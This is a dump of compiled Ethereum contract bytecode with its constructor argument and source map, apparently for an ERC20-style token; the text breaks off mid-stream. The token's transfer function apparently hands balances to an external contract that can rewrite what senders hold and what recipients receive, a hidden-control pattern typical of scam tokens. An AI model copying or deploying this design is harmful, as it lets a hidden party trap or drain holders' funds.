0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb146102b3578063dd62ed3e146102e3578063ddfef13514610313578063f2fde38b1461033157610100565b80638da5cb5b14610229578063927f3d411461024757806395d89b4114610265578063a457c2d71461028357610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806370a08231146101ef578063715018a61461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034d565b60405161011a91906115a5565b60405180910390f35b61013d6004803603810190610138919061133a565b6103df565b60405161014a919061158a565b60405180910390f35b61015b6103f6565b60405161016891906116c7565b60405180910390f35b61018b600480360381019061018691906112e7565b610400565b604051610198919061158a565b60405180910390f35b6101a96104cb565b6040516101b691906116c7565b60405180910390f35b6101d960048036038101906101d4919061133a565b6104e5565b6040516101e6919061158a565b60405180910390f35b6102096004803603810190610204919061127a565b61058a565b60405161021691906116c7565b60405180910390f35b6102276105d3565b005b61023161071f565b60405161023e9190611538565b60405180910390f35b61024f610748565b60405161025c9190611538565b60405180910390f35b61026d61076e565b60405161027a91906115a5565b60405180910390f35b61029d6004803603810190610298919061133a565b610800565b6040516102aa919061158a565b60405180910390f35b6102cd60048036038101906102c8919061133a565b6108bf565b6040516102da919061158a565b60405180910390f35b6102fd60048036038101906102f891906112a7565b6108d6565b60405161030a91906116c7565b60405180910390f35b61031b61095d565b60405161032891906116c7565b60405180910390f35b61034b6004803603810190610346919061127a565b610977565b005b60606004805461035c90611803565b80601f016020809104026020016040519081016040528092919081815260200182805461038890611803565b80156103d55780601f106103aa576101008083540402835291602001916103d5565b820191906000526020600020905b8154815290600101906020018083116103b857829003601f168201915b5050505050905090565b60006103ec338484610b32565b6001905092915050565b6000600754905090565b600061040d848484610cfd565b6104c084336104bb85604051806060016040528060288152602001611b0460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112f9092919063ffffffff16565b610b32565b600190509392505050565b6000600660009054906101000a900460ff1660ff16905090565b6000610580338461057b85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119390919063ffffffff16565b610b32565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065890611667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606005805461077d90611803565b80601f01602080910402602001604051908101604052809291908181526020018280546107a990611803565b80156107f65780601f106107cb576101008083540402835291602001916107f6565b820191906000526020600020905b8154815290600101906020018083116107d957829003601f168201915b5050505050905090565b60006108b533846108b085604051806060016040528060258152602001611b2c60259139600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112f9092919063ffffffff16565b610b32565b6001905092915050565b60006108cc338484610cfd565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600660009054906101000a900460ff1660ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fc90611667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c906115e7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b99906116a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611607565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf091906116c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490611687565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd4906115c7565b60405180910390fd5b60008080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166332fbc67e8786600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518463ffffffff1660e01b8152600401610e7f93929190611553565b604080518083038186803b158015610e9657600080fd5b505afa158015610eaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ece919061137a565b9150915080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8f90611647565b60405180910390fd5b610fea84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f190919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107f82600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161111f91906116c7565b60405180910390a3505050505050565b6000838311158290611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e91906115a5565b60405180910390fd5b50600083856111869190611754565b9050809150509392505050565b60008082846111a291906116fe565b9050838110156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de90611627565b60405180910390fd5b8091505092915050565b600061123383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061112f565b905092915050565b60008135905061124a81611ad5565b92915050565b60008135905061125f81611aec565b92915050565b60008151905061127481611aec565b92915050565b6000602082840312156112905761128f611893565b5b600061129e8482850161123b565b91505092915050565b600080604083850312156112be576112bd611893565b5b60006112cc8582860161123b565b92505060206112dd8582860161123b565b9150509250929050565b600080600060608486031215611300576112ff611893565b5b600061130e8682870161123b565b935050602061131f8682870161123b565b925050604061133086828701611250565b9150509250925092565b6000806040838503121561135157611350611893565b5b600061135f8582860161123b565b925050602061137085828601611250565b9150509250929050565b6000806040838503121561139157611390611893565b5b600061139f85828601611265565b92505060206113b085828601611265565b9150509250929050565b6113c381611788565b82525050565b6113d28161179a565b82525050565b60006113e3826116e2565b6113ed81856116ed565b93506113fd8185602086016117d0565b61140681611898565b840191505092915050565b600061141e6023836116ed565b9150611429826118a9565b604082019050919050565b60006114416026836116ed565b915061144c826118f8565b604082019050919050565b60006114646022836116ed565b915061146f82611947565b604082019050919050565b6000611487601b836116ed565b915061149282611996565b602082019050919050565b60006114aa6026836116ed565b91506114b5826119bf565b604082019050919050565b60006114cd6020836116ed565b91506114d882611a0e565b602082019050919050565b60006114f06025836116ed565b91506114fb82611a37565b604082019050919050565b60006115136024836116ed565b915061151e82611a86565b604082019050919050565b611532816117c6565b82525050565b600060208201905061154d60008301846113ba565b92915050565b600060608201905061156860008301866113ba565b6115756020830185611529565b6115826040830184611529565b949350505050565b600060208201905061159f60008301846113c9565b92915050565b600060208201905081810360008301526115bf81846113d8565b905092915050565b600060208201905081810360008301526115e081611411565b9050919050565b6000602082019050818103600083015261160081611434565b9050919050565b6000602082019050818103600083015261162081611457565b9050919050565b600060208201905081810360008301526116408161147a565b9050919050565b600060208201905081810360008301526116608161149d565b9050919050565b60006020820190508181036000830152611680816114c0565b9050919050565b600060208201905081810360008301526116a0816114e3565b9050919050565b600060208201905081810360008301526116c081611506565b9050919050565b60006020820190506116dc6000830184611529565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611709826117c6565b9150611714836117c6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561174957611748611835565b5b828201905092915050565b600061175f826117c6565b915061176a836117c6565b92508282101561177d5761177c611835565b5b828203905092915050565b6000611793826117a6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156117ee5780820151818401526020810190506117d3565b838111156117fd576000848401525b50505050565b6000600282049050600182168061181b57607f821691505b6020821081141561182f5761182e611864565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ade81611788565b8114611ae957600080fd5b50565b611af5816117c6565b8114611b0057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205c70dc48ff447af1daf07ca7e34280b3b402db016381586450762c3b34459bce64736f6c63430008060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000219164dcf847d70bb7a4c23b9c33120bed664cb0

-----Decoded View---------------
Arg [0] : aUVvwaX (address): 0x219164dcF847D70bB7A4C23B9C33120bed664cB0

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000219164dcf847d70bb7a4c23b9c33120bed664cb0


Deployed ByteCode Sourcemap

7631:4692:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8410:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9404:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8715:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10608:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8616:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11227:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8818:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3297:148;;;:::i;:::-;;3085:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7831:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8507:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11531:396;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8943:229;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9180:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11130:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3453:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8410:89;8447:13;8480:11;8473:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8410:89;:::o;9404:191::-;9506:4;9528:37;9537:10;9549:7;9558:6;9528:8;:37::i;:::-;9583:4;9576:11;;9404:191;;;;:::o;8715:95::-;8768:7;8795;;8788:14;;8715:95;:::o;10608:514::-;10764:4;10781:60;10791:14;10807:17;10826:14;10781:9;:60::i;:::-;10852:240;10875:14;10904:10;10929:152;10991:14;10929:152;;;;;;;;;;;;;;;;;:11;:27;10941:14;10929:27;;;;;;;;;;;;;;;:39;10957:10;10929:39;;;;;;;;;;;;;;;;:43;;:152;;;;;:::i;:::-;10852:8;:240::i;:::-;11110:4;11103:11;;10608:514;;;;;:::o;8616:91::-;8657:7;8684:15;;;;;;;;;;;8677:22;;;;8616:91;:::o;11227:296::-;11342:4;11364:129;11387:10;11412:7;11434:48;11471:10;11434:11;:23;11446:10;11434:23;;;;;;;;;;;;;;;:32;11458:7;11434:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;11364:8;:129::i;:::-;11511:4;11504:11;;11227:296;;;;:::o;8818:117::-;8884:7;8911;:16;8919:7;8911:16;;;;;;;;;;;;;;;;8904:23;;8818:117;;;:::o;3297:148::-;3222:10;3212:20;;:6;;;;;;;;;;:20;;;3204:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3404:1:::1;3367:40;;3388:6;::::0;::::1;;;;;;;;3367:40;;;;;;;;;;;;3435:1;3418:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3297:148::o:0;3085:79::-;3123:7;3150:6;;;;;;;;;;;3143:13;;3085:79;:::o;7831:84::-;;;;;;;;;;;;;:::o;8507:93::-;8546:13;8579;8572:20;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8507:93;:::o;11531:396::-;11651:4;11673:224;11696:10;11721:7;11743:143;11798:15;11743:143;;;;;;;;;;;;;;;;;:11;:23;11755:10;11743:23;;;;;;;;;;;;;;;:32;11767:7;11743:32;;;;;;;;;;;;;;;;:36;;:143;;;;;:::i;:::-;11673:8;:224::i;:::-;11915:4;11908:11;;11531:396;;;;:::o;8943:229::-;9064:4;9086:56;9096:10;9108:17;9127:14;9086:9;:56::i;:::-;9160:4;9153:11;;8943:229;;;;:::o;9180:216::-;9313:7;9345:11;:26;9357:13;9345:26;;;;;;;;;;;;;;;:43;9372:15;9345:43;;;;;;;;;;;;;;;;9338:50;;9180:216;;;;:::o;11130:89::-;11173:7;11196:15;;;;;;;;;;;11189:22;;;;11130:89;:::o;3453:281::-;3222:10;3212:20;;:6;;;;;;;;;;:20;;;3204:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3576:1:::1;3556:22;;:8;:22;;;;3534:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;3689:8;3660:38;;3681:6;::::0;::::1;;;;;;;;3660:38;;;;;;;;;;;;3718:8;3709:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3453:281:::0;:::o;11935:371::-;12079:1;12062:19;;:5;:19;;;;12054:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12160:1;12141:21;;:7;:21;;;;12133:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12244:6;12214:11;:18;12226:5;12214:18;;;;;;;;;;;;;;;:27;12233:7;12214:27;;;;;;;;;;;;;;;:36;;;;12282:7;12266:32;;12275:5;12266:32;;;12291:6;12266:32;;;;;;:::i;:::-;;;;;;;;11935:371;;;:::o;9611:981::-;9787:1;9763:26;;:12;:26;;;;9741:113;;;;;;;;;;;;:::i;:::-;;;;;;;;;9909:1;9887:24;;:10;:24;;;;9865:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;9985:17;10018:25;10045:22;10081:21;;;;;;;;;;;:28;;;10124:12;10151:6;10172:7;:21;10180:12;10172:21;;;;;;;;;;;;;;;;10081:123;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10017:187;;;;10239:14;10215:7;:21;10223:12;10215:21;;;;;;;;;;;;;;;:38;;;;10311:6;10286:7;:21;10294:12;10286:21;;;;;;;;;;;;;;;;:31;;10264:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;10418:33;10444:6;10418:7;:21;10426:12;10418:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;10394:7;:21;10402:12;10394:21;;;;;;;;;;;;;;;:57;;;;10484:42;10508:17;10484:7;:19;10492:10;10484:19;;;;;;;;;;;;;;;;:23;;:42;;;;:::i;:::-;10462:7;:19;10470:10;10462:19;;;;;;;;;;;;;;;:64;;;;10565:10;10542:42;;10551:12;10542:42;;;10577:6;10542:42;;;;;;:::i;:::-;;;;;;;;9730:862;;;9611:981;;;:::o;5106:226::-;5226:7;5259:1;5254;:6;;5262:12;5246:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;5286:9;5302:1;5298;:5;;;;:::i;:::-;5286:17;;5323:1;5316:8;;;5106:226;;;;;:::o;4203:181::-;4261:7;4281:9;4297:1;4293;:5;;;;:::i;:::-;4281:17;;4322:1;4317;:6;;4309:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4375:1;4368:8;;;4203:181;;;;:::o;4667:136::-;4725:7;4752:43;4756:1;4759;4752:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;4745:50;;4667:136;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:143::-;354:5;385:6;379:13;370:22;;401:33;428:5;401:33;:::i;:::-;360:80;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:2;;;560:79;;:::i;:::-;522:2;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;512:263;;;;:::o;781:474::-;849:6;857;906:2;894:9;885:7;881:23;877:32;874:2;;;912:79;;:::i;:::-;874:2;1032:1;1057:53;1102:7;1093:6;1082:9;1078:22;1057:53;:::i;:::-;1047:63;;1003:117;1159:2;1185:53;1230:7;1221:6;1210:9;1206:22;1185:53;:::i;:::-;1175:63;;1130:118;864:391;;;;;:::o;1261:619::-;1338:6;1346;1354;1403:2;1391:9;1382:7;1378:23;1374:32;1371:2;;;1409:79;;:::i;:::-;1371:2;1529:1;1554:53;1599:7;1590:6;1579:9;1575:22;1554:53;:::i;:::-;1544:63;;1500:117;1656:2;1682:53;1727:7;1718:6;1707:9;1703:22;1682:53;:::i;:::-;1672:63;;1627:118;1784:2;1810:53;1855:7;1846:6;1835:9;1831:22;1810:53;:::i;:::-;1800:63;;1755:118;1361:519;;;;;:::o;1886:474::-;1954:6;1962;2011:2;1999:9;1990:7;1986:23;1982:32;1979:2;;;2017:79;;:::i;:::-;1979:2;2137:1;2162:53;2207:7;2198:6;2187:9;2183:22;2162:53;:::i;:::-;2152:63;;2108:117;2264:2;2290:53;2335:7;2326:6;2315:9;2311:22;2290:53;:::i;:::-;2280:63;;2235:118;1969:391;;;;;:::o;2366:507::-;2445:6;2453;2502:2;2490:9;2481:7;2477:23;2473:32;2470:2;;;2508:79;;:::i;:::-;2470:2;2628:1;2653:64;2709:7;2700:6;2689:9;2685:22;2653:64;:::i;:::-;2643:74;;2599:128;2766:2;2792:64;2848:7;2839:6;2828:9;2824:22;2792:64;:::i;:::-;2782:74;;2737:129;2460:413;;;;;:::o;2879:118::-;2966:24;2984:5;2966:24;:::i;:::-;2961:3;2954:37;2944:53;;:::o;3003:109::-;3084:21;3099:5;3084:21;:::i;:::-;3079:3;3072:34;3062:50;;:::o;3118:364::-;3206:3;3234:39;3267:5;3234:39;:::i;:::-;3289:71;3353:6;3348:3;3289:71;:::i;:::-;3282:78;;3369:52;3414:6;3409:3;3402:4;3395:5;3391:16;3369:52;:::i;:::-;3446:29;3468:6;3446:29;:::i;:::-;3441:3;3437:39;3430:46;;3210:272;;;;;:::o;3488:366::-;3630:3;3651:67;3715:2;3710:3;3651:67;:::i;:::-;3644:74;;3727:93;3816:3;3727:93;:::i;:::-;3845:2;3840:3;3836:12;3829:19;;3634:220;;;:::o;3860:366::-;4002:3;4023:67;4087:2;4082:3;4023:67;:::i;:::-;4016:74;;4099:93;4188:3;4099:93;:::i;:::-;4217:2;4212:3;4208:12;4201:19;;4006:220;;;:::o;4232:366::-;4374:3;4395:67;4459:2;4454:3;4395:67;:::i;:::-;4388:74;;4471:93;4560:3;4471:93;:::i;:::-;4589:2;4584:3;4580:12;4573:19;;4378:220;;;:::o;4604:366::-;4746:3;4767:67;4831:2;4826:3;4767:67;:::i;:::-;4760:74;;4843:93;4932:3;4843:93;:::i;:::-;4961:2;4956:3;4952:12;4945:19;;4750:220;;;:::o;4976:366::-;5118:3;5139:67;5203:2;5198:3;5139:67;:::i;:::-;5132:74;;5215:93;5304:3;5215:93;:::i;:::-;5333:2;5328:3;5324:12;5317:19;;5122:220;;;:::o;5348:366::-;5490:3;5511:67;5575:2;5570:3;5511:67;:::i;:::-;5504:74;;5587:93;5676:3;5587:93;:::i;:::-;5705:2;5700:3;5696:12;5689:19;;5494:220;;;:::o;5720:366::-;5862:3;5883:67;5947:2;5942:3;5883:67;:::i;:::-;5876:74;;5959:93;6048:3;5959:93;:::i;:::-;6077:2;6072:3;6068:12;6061:19;;5866:220;;;:::o;6092:366::-;6234:3;6255:67;6319:2;6314:3;6255:67;:::i;:::-;6248:74;;6331:93;6420:3;6331:93;:::i;:::-;6449:2;6444:3;6440:12;6433:19;;6238:220;;;:::o;6464:118::-;6551:24;6569:5;6551:24;:::i;:::-;6546:3;6539:37;6529:53;;:::o;6588:222::-;6681:4;6719:2;6708:9;6704:18;6696:26;;6732:71;6800:1;6789:9;6785:17;6776:6;6732:71;:::i;:::-;6686:124;;;;:::o;6816:442::-;6965:4;7003:2;6992:9;6988:18;6980:26;;7016:71;7084:1;7073:9;7069:17;7060:6;7016:71;:::i;:::-;7097:72;7165:2;7154:9;7150:18;7141:6;7097:72;:::i;:::-;7179;7247:2;7236:9;7232:18;7223:6;7179:72;:::i;:::-;6970:288;;;;;;:::o;7264:210::-;7351:4;7389:2;7378:9;7374:18;7366:26;;7402:65;7464:1;7453:9;7449:17;7440:6;7402:65;:::i;:::-;7356:118;;;;:::o;7480:313::-;7593:4;7631:2;7620:9;7616:18;7608:26;;7680:9;7674:4;7670:20;7666:1;7655:9;7651:17;7644:47;7708:78;7781:4;7772:6;7708:78;:::i;:::-;7700:86;;7598:195;;;;:::o;7799:419::-;7965:4;8003:2;7992:9;7988:18;7980:26;;8052:9;8046:4;8042:20;8038:1;8027:9;8023:17;8016:47;8080:131;8206:4;8080:131;:::i;:::-;8072:139;;7970:248;;;:::o;8224:419::-;8390:4;8428:2;8417:9;8413:18;8405:26;;8477:9;8471:4;8467:20;8463:1;8452:9;8448:17;8441:47;8505:131;8631:4;8505:131;:::i;:::-;8497:139;;8395:248;;;:::o;8649:419::-;8815:4;8853:2;8842:9;8838:18;8830:26;;8902:9;8896:4;8892:20;8888:1;8877:9;8873:17;8866:47;8930:131;9056:4;8930:131;:::i;:::-;8922:139;;8820:248;;;:::o;9074:419::-;9240:4;9278:2;9267:9;9263:18;9255:26;;9327:9;9321:4;9317:20;9313:1;9302:9;9298:17;9291:47;9355:131;9481:4;9355:131;:::i;:::-;9347:139;;9245:248;;;:::o;9499:419::-;9665:4;9703:2;9692:9;9688:18;9680:26;;9752:9;9746:4;9742:20;9738:1;9727:9;9723:17;9716:47;9780:131;9906:4;9780:131;:::i;:::-;9772:139;;9670:248;;;:::o;9924:419::-;10090:4;10128:2;10117:9;10113:18;10105:26;;10177:9;10171:4;10167:20;10163:1;10152:9;10148:17;10141:47;10205:131;10331:4;10205:131;:::i;:::-;10197:139;;10095:248;;;:::o;10349:419::-;10515:4;10553:2;10542:9;10538:18;10530:26;;10602:9;10596:4;10592:20;10588:1;10577:9;10573:17;10566:47;10630:131;10756:4;10630:131;:::i;:::-;10622:139;;10520:248;;;:::o;10774:419::-;10940:4;10978:2;10967:9;10963:18;10955:26;;11027:9;11021:4;11017:20;11013:1;11002:9;10998:17;10991:47;11055:131;11181:4;11055:131;:::i;:::-;11047:139;;10945:248;;;:::o;11199:222::-;11292:4;11330:2;11319:9;11315:18;11307:26;;11343:71;11411:1;11400:9;11396:17;11387:6;11343:71;:::i;:::-;11297:124;;;;:::o;11508:99::-;11560:6;11594:5;11588:12;11578:22;;11567:40;;;:::o;11613:169::-;11697:11;11731:6;11726:3;11719:19;11771:4;11766:3;11762:14;11747:29;;11709:73;;;;:::o;11788:305::-;11828:3;11847:20;11865:1;11847:20;:::i;:::-;11842:25;;11881:20;11899:1;11881:20;:::i;:::-;11876:25;;12035:1;11967:66;11963:74;11960:1;11957:81;11954:2;;;12041:18;;:::i;:::-;11954:2;12085:1;12082;12078:9;12071:16;;11832:261;;;;:::o;12099:191::-;12139:4;12159:20;12177:1;12159:20;:::i;:::-;12154:25;;12193:20;12211:1;12193:20;:::i;:::-;12188:25;;12232:1;12229;12226:8;12223:2;;;12237:18;;:::i;:::-;12223:2;12282:1;12279;12275:9;12267:17;;12144:146;;;;:::o;12296:96::-;12333:7;12362:24;12380:5;12362:24;:::i;:::-;12351:35;;12341:51;;;:::o;12398:90::-;12432:7;12475:5;12468:13;12461:21;12450:32;;12440:48;;;:::o;12494:126::-;12531:7;12571:42;12564:5;12560:54;12549:65;;12539:81;;;:::o;12626:77::-;12663:7;12692:5;12681:16;;12671:32;;;:::o;12709:307::-;12777:1;12787:113;12801:6;12798:1;12795:13;12787:113;;;12886:1;12881:3;12877:11;12871:18;12867:1;12862:3;12858:11;12851:39;12823:2;12820:1;12816:10;12811:15;;12787:113;;;12918:6;12915:1;12912:13;12909:2;;;12998:1;12989:6;12984:3;12980:16;12973:27;12909:2;12758:258;;;;:::o;13022:320::-;13066:6;13103:1;13097:4;13093:12;13083:22;;13150:1;13144:4;13140:12;13171:18;13161:2;;13227:4;13219:6;13215:17;13205:27;;13161:2;13289;13281:6;13278:14;13258:18;13255:38;13252:2;;;13308:18;;:::i;:::-;13252:2;13073:269;;;;:::o;13348:180::-;13396:77;13393:1;13386:88;13493:4;13490:1;13483:15;13517:4;13514:1;13507:15;13534:180;13582:77;13579:1;13572:88;13679:4;13676:1;13669:15;13703:4;13700:1;13693:15;13843:117;13952:1;13949;13942:12;13966:102;14007:6;14058:2;14054:7;14049:2;14042:5;14038:14;14034:28;14024:38;;14014:54;;;:::o;14074:222::-;14214:34;14210:1;14202:6;14198:14;14191:58;14283:5;14278:2;14270:6;14266:15;14259:30;14180:116;:::o;14302:225::-;14442:34;14438:1;14430:6;14426:14;14419:58;14511:8;14506:2;14498:6;14494:15;14487:33;14408:119;:::o;14533:221::-;14673:34;14669:1;14661:6;14657:14;14650:58;14742:4;14737:2;14729:6;14725:15;14718:29;1463